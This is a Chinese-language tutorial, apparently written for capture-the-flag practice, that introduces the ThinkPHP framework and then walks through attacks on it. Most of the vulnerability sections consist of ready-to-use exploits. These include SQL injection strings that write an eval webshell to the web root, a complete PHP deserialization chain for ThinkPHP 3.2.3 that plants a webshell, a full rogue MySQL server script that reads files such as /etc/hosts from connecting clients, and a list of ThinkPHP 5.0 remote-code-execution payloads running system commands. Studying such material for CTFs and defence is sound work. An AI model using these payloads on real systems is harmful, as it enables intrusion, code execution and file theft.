第一节 认识thinkphp 0x1 php开发框架 为了避免重复造轮子, 这里就出现了PHP开发框架, 只需要装修一下就可以使用
其背后思想为mvc思想
常见的开发框架 thinkphp 开源的PHP框架,为了简化企业级应用开发和敏捷web应用开发而诞生的。遵循apache2开源协议发布。
Yii 简洁优秀的开源PHP框架
Laravel 帮你构建一个完美的网络app,每行代码都可以简洁、富于表达力。
MVC基础 指MVC模式的某种框架,强制性地使应用程序的输入、处理和输出分开。使用MVC应用程序被分成三个核心模型:模型、视图、控制器
view(视图) 视图是用户看到的并与之交互的界面, 对老式的web应用程序来说, 视图就是由HTML元素组成的界面
显示数据由视图负责
model(模型) 表示业务规则, 在MVC三个部件中, 模型拥有最多的处理任务. 被模型返回的数据是中立的, 模型与数据格式无关, 这样一个模型能为多个视图提供数据, 由于应用于模型的代码只需写一次就可以被多个视图使用, 所以减少了代码的重复性
数据读取与存储是由模型负责的
controller(控制器) 是指接收用户输入并调用模型和视图去完成用户的需求, 控制器本身不输出任何东西和做任何处理, 它只是接收请求并决定调用哪个模型构件去处理请求, 然后再确定用哪个视图来显示返回的数据
自己写一个PHP框架 首先确定一下框架的主要功能
基于pathinfo下的路由监听 业务分层, 实现简单的mvc 渲染引擎 控制器 数据处理 首先写一个index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php echo "i am admin controller<br>" ;class admin { function login ($username ,$password ) { if ($username =='admin' &&$password =='admin' ){ echo "登陆成功" ; }else { echo "登录失败" ; } } function logout ( ) { echo "i am logout function" ; } static function getInstance ( ) { return new admin (); }
然后新建一个controller目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php echo "i am admin controller<br>" ;class admin { function login ($username ,$password ) { if ($username =='admin' &&$password =='admin' ){ echo "登陆成功" ; }else { echo "登录失败" ; } } function logout ( ) { echo "i am logout function" ; } static function getInstance ( ) { return new admin (); } }
1 2 3 <?php echo "i am user controller" ;
最终效果:
第二节 thinkphp漏洞 0x1 thinkphp框架下的信息收集 这里我们下载 一个thinkphp的3.2.3版本的源码
寻找tp框架的特征 url中寻找特征 thinkphp框架下的url一般是index.php/home/index/index
类型, 个别会省略掉index.php
, 直接是/home/index/index
,这时候我们看到的是三层pathinfo
结构, 就要考虑是thinkphp框架
这时候我们可以修改模块或者控制器的名字, 检查报错信息, 访问http://localhost/index.php/home/charmersix/index
可以看到报错信息的话就可以精确找到thinkphp的版本号了
报错关闭的情况 通过对thinkphp ui的敏感就可以一眼顶针, 看出其框架
使用软路由检测 这里我们可以通过get方式提交pathinfo的值, 这里依旧可以通过修改控制器/方法名来看报错信息
tp的代码执行 show参数可控下的代码执行 假设我们有这样的代码
1 2 3 4 5 6 7 8 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ($n ='' ) { $this ->show ('$n' ); } }
可以直接渲染我们提交的n参数
这里我们直接写php代码利用就可以
利用日志文件代码执行 在thinkphp开启debug的情况下会在runtime目录下生成log文件, 文件的名称是以年_月_日.log
来命名的, 所以我们可以爆破文件名
url/Application/Runtime/Logs/Home/y_m_d.log
这时候我们就可以抓包通过bp去爆破隐藏信息
我们就可以得到这样一条接口
执行代码获得flag即可
tp的SQL注入漏洞 在一切开始之前, 我们先看一下我们当前版本thinkphp的官方文档, 在这里
基于where的SQL注入漏洞 thinkphpSQL注入利用姿势: where数组绕过?id[where]=id=1'
例如:?id[where]=id=1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 3, 4 limit 1, 1%23
注释引起的SQL注入漏洞 代码如下:
1 2 3 4 5 6 7 8 9 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index ($id =1 ) { $user = M ('users' )->comment ($id )->find (intval ($id )); $this ->show ('<p>hello ' .$user ['username' ].'</p>' ,'utf-8' ); } }
在这个框架中, comment将会被/**/
包裹注释掉, 但是, 我们可以输入*/
将注释闭合从而达到SQL注入, 但是这里我们会发现union联合注入是不能用的, 因为在limit后, union是不好用的
这里我们就需要用到一个新姿势: 通过数据库写一句话文件, 然后达到我们想要的效果, 但是前提是数据库必须打开了secure-file-priv
的写入文件权限
然后我们直接写入一句话木马
例如: ?id=1 */ into outfile "/var/www/html/1.php" lines terminated by "<?php eval($_POST[1])?>";%23
木马已经写进去, 直接利用即可
第三节 thinkphp反序列化 thinkphp挖链子 基本流程
1 2 3 4 1 .寻找可利用的魔术方法, 比较常见的有__destruct/__wakeup2 .继续寻找跳板3 .最终通过其他函数/其他类的属性构造一个函数名可控函数参数可控的链子4 .实现rce
tp3.2版本 tp3.2.3版本下的反序列化漏洞 通过反序列化一个数据库的连接开启一个堆叠, 执行SQL语句, 写入一句话木马
这里我们只需要用这个exp就可以生成一串cookie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php namespace Think \Image \Driver { use Think \Session \Driver \Memcache ; class Imagick { private $img ; public function __construct ( ) { $this ->img=new Memcache (); } } } namespace Think \Session \Driver { use Think \Model ; class Memcache { protected $handle ; public function __construct ( ) { $this ->handle=new Model (); } } } namespace Think { use Think \Db \Driver \Mysql ; class Model { protected $data = array (); protected $db = null ; protected $pk ; public function __construct ( ) { $this ->db=new Mysql (); $this ->pk='id' ; $this ->data[$this ->pk] = array ( "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"# ' , "where" => "1" ); } } } namespace Think \Db \Driver { use PDO ; class Mysql { protected $options = array ( PDO::MYSQL_ATTR_LOCAL_INFILE => true , PDO::MYSQL_ATTR_MULTI_STATEMENTS => true ); protected $config = array ( "debug" => 1 , 'hostname' => '127.0.0.1' , 'database' => 'ctfshow' , 'username' => 'root' , 'password' => 'root' , 'hostport' => '3306' ); } } namespace { use Think \Image \Driver \Imagick ; echo base64_encode (serialize (new Imagick ())); }
我们运行一下这个脚本就可以生成一串base64编码, 然后我们改一下cookie发送即可
然后就可以写入一个1.php的一句话木马
如果这个方法不行, 可以使用远程读文件的姿势
伪造MySQL服务端读取文件 伪造一个MySQL的服务端, 让别人连接的情况下, 可以让别人把本地文件远程发给服务端, 这里虽然是读的服务器文件, 但是其实就相当于我们读的自己客户端的文件, 就相当于一个变相的钓鱼
这里我们还是继续用上边的php脚本+python脚本, 但是上边php脚本的服务器地址需要改成我们自己的云服务器地址
, 端口也需要改成3389
然后我们在云服务器上开始运行这个python脚本, 开始监听
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 from socket import AF_INET, SOCK_STREAM, errorfrom asyncore import dispatcher, loop as _asyLoopfrom asynchat import async_chatfrom struct import Structfrom sys import version_infofrom logging import getLogger, INFO, StreamHandler, Formatter_rouge_mysql_sever_read_file_result = { } _rouge_mysql_server_read_file_end = False def checkVersionPy3 (): return not version_info < (3 , 0 ) def rouge_mysql_sever_read_file (fileName, port, showInfo ): if showInfo: log = getLogger(__name__) log.setLevel(INFO) tmp_format = StreamHandler() tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s" )) log.addHandler( tmp_format ) def _infoShow (*args ): if showInfo: log.info(*args) __author__ = 'Gifts' __modify__ = 'Morouu' global _rouge_mysql_sever_read_file_result class _LastPacket (Exception ): pass class _OutOfOrder (Exception ): pass class _MysqlPacket (object ): packet_header = Struct('<Hbb' ) packet_header_long = Struct('<Hbbb' ) def __init__ (self, packet_type, payload ): if isinstance (packet_type, _MysqlPacket): self.packet_num = packet_type.packet_num + 1 else : self.packet_num = packet_type self.payload = payload def __str__ (self ): payload_len = len (self.payload) if payload_len < 65536 : header = _MysqlPacket.packet_header.pack(payload_len, 0 , self.packet_num) else : header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF , payload_len >> 16 , 0 , self.packet_num) result = "" .join( ( header.decode("latin1" ) if checkVersionPy3() else header, self.payload ) ) return result def __repr__ (self ): return repr (str (self)) @staticmethod def parse (raw_data ): packet_num = raw_data[0 ] if checkVersionPy3() else ord (raw_data[0 ]) payload = raw_data[1 :] return _MysqlPacket(packet_num, payload.decode("latin1" ) if checkVersionPy3() else payload) class _HttpRequestHandler (async_chat ): def __init__ (self, addr ): async_chat.__init__(self, sock=addr[0 ]) self.addr = addr[1 ] self.ibuffer = [] self.set_terminator(3 ) self.stateList = [b"LEN" , b"Auth" , b"Data" , b"MoreLength" , b"File" ] if checkVersionPy3() else ["LEN" , "Auth" , "Data" , "MoreLength" , "File" ] self.state = self.stateList[0 ] self.sub_state = self.stateList[1 ] self.logined = False self.file = "" self.push( _MysqlPacket( 0 , "" .join(( '\x0a' , '5.6.28-0ubuntu0.14.04.1' + '\0' , '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00' , ))) ) self.order = 1 self.states = [b'LOGIN' , b'CAPS' , b'ANY' ] if checkVersionPy3() else ['LOGIN' , 'CAPS' , 'ANY' ] def push (self, data ): _infoShow('Pushed: %r' , data) data = str (data) async_chat.push(self, data.encode("latin1" ) if checkVersionPy3() else data) def collect_incoming_data (self, data ): _infoShow('Data recved: %r' , data) self.ibuffer.append(data) def found_terminator (self ): data = b"" .join(self.ibuffer) if checkVersionPy3() else "" .join(self.ibuffer) self.ibuffer = [] if self.state == self.stateList[0 ]: len_bytes = data[0 ] + 256 * data[1 ] + 65536 * data[2 ] + 1 if checkVersionPy3() else ord ( data[0 ]) + 256 * ord (data[1 ]) + 65536 * ord (data[2 ]) + 1 if len_bytes < 65536 : self.set_terminator(len_bytes) self.state = self.stateList[2 ] else : self.state = self.stateList[3 ] elif self.state == self.stateList[3 ]: if (checkVersionPy3() and data[0 ] != b'\0' ) or data[0 ] != '\0' : self.push(None ) self.close_when_done() else : self.state = self.stateList[2 ] elif self.state == self.stateList[2 ]: packet = _MysqlPacket.parse(data) try : if self.order != packet.packet_num: raise _OutOfOrder() else : self.order = packet.packet_num + 2 if packet.packet_num == 0 : if packet.payload[0 ] == '\x03' : _infoShow('Query' ) self.set_terminator(3 ) self.state = self.stateList[0 ] self.sub_state = self.stateList[4 ] self.file = fileName.pop(0 ) if len (fileName) == 1 : global _rouge_mysql_server_read_file_end _rouge_mysql_server_read_file_end = True self.push(_MysqlPacket( packet, '\xFB{0}' .format (self.file) )) elif packet.payload[0 ] == '\x1b' : _infoShow('SelectDB' ) self.push(_MysqlPacket( packet, '\xfe\x00\x00\x02\x00' )) raise _LastPacket() elif packet.payload[0 ] in '\x02' : self.push(_MysqlPacket( packet, '\0\0\0\x02\0\0\0' )) raise _LastPacket() elif packet.payload == '\x00\x01' : self.push(None ) self.close_when_done() else : raise ValueError() else : if self.sub_state == self.stateList[4 ]: _infoShow('-- result' ) _infoShow('Result: %r' , data) if len (data) == 1 : self.push( _MysqlPacket(packet, '\0\0\0\x02\0\0\0' ) ) raise _LastPacket() else : self.set_terminator(3 ) self.state = self.stateList[0 ] self.order = packet.packet_num + 1 global _rouge_mysql_sever_read_file_result _rouge_mysql_sever_read_file_result.update( {self.file: data.encode() if not checkVersionPy3() else data} ) self.close_when_done() elif self.sub_state == self.stateList[1 ]: self.push(_MysqlPacket( packet, '\0\0\0\x02\0\0\0' )) raise _LastPacket() else : _infoShow('-- else' ) raise ValueError('Unknown packet' ) except _LastPacket: _infoShow('Last packet' ) self.state = self.stateList[0 ] self.sub_state = None self.order = 0 self.set_terminator(3 ) except _OutOfOrder: _infoShow('Out of order' ) self.push(None ) self.close_when_done() else : _infoShow('Unknown state' ) self.push('None' ) self.close_when_done() class _MysqlListener (dispatcher ): def __init__ (self, sock=None ): dispatcher.__init__(self, sock) if not sock: self.create_socket(AF_INET, SOCK_STREAM) self.set_reuse_addr() try : self.bind(('' , port)) except error: exit() self.listen(1 ) def handle_accept (self ): pair = self.accept() if pair is not None : _infoShow('Conn from: %r' , pair[1 ]) _HttpRequestHandler(pair) if _rouge_mysql_server_read_file_end: self.close() _MysqlListener() _asyLoop() return _rouge_mysql_sever_read_file_result if __name__ == '__main__' : for name, content in rouge_mysql_sever_read_file(fileName=["/flag_is_here" , "/etc/hosts" ], port=3389 ,showInfo=True ).items(): print (name + ":\n" + content.decode())
tp5.0版本 未开启强制路由导致的rce 最高版本支持到5.0.23
常见payload:
1 2 3 4 5 6 7 ?s=index/think\Request/input&filter=system&data=dir ?s=index/think\Request/input&filter[]=system&data=pwd ?s=index/think\view\driver\Php/display&content=<?php phpinfo ();?> ?s=index/think\template\driver\file/write&cacheFile=shell.php&content<?php phpinfo ();?> ?s=index/think\Container/invokefunction&function =call_user_func &vars []=system &vars []=dir ?s =index /think \Container /invokefunction &function =call_user_func_array &vars [0]=system &vars [1][]=whoami ?s =index /think \app /invokefunction &function =call_user_func_array &vars [0]=system &vars [1][]=whoami
变量覆盖导致的rce 参考例子:
1 2 3 4 public function index ($name ='' ,$from ='ctfshow' ) { $this ->assign ($name ,$from ); $this ->display ('index' ); }
在手册中 , 我们可以看到这样的使用方式
payload:
?name=_content&from=<?php system("cat /f*")?>
直接载入php模板执行代码
tp5.1版本 tp5.1反序列化rce 推荐文章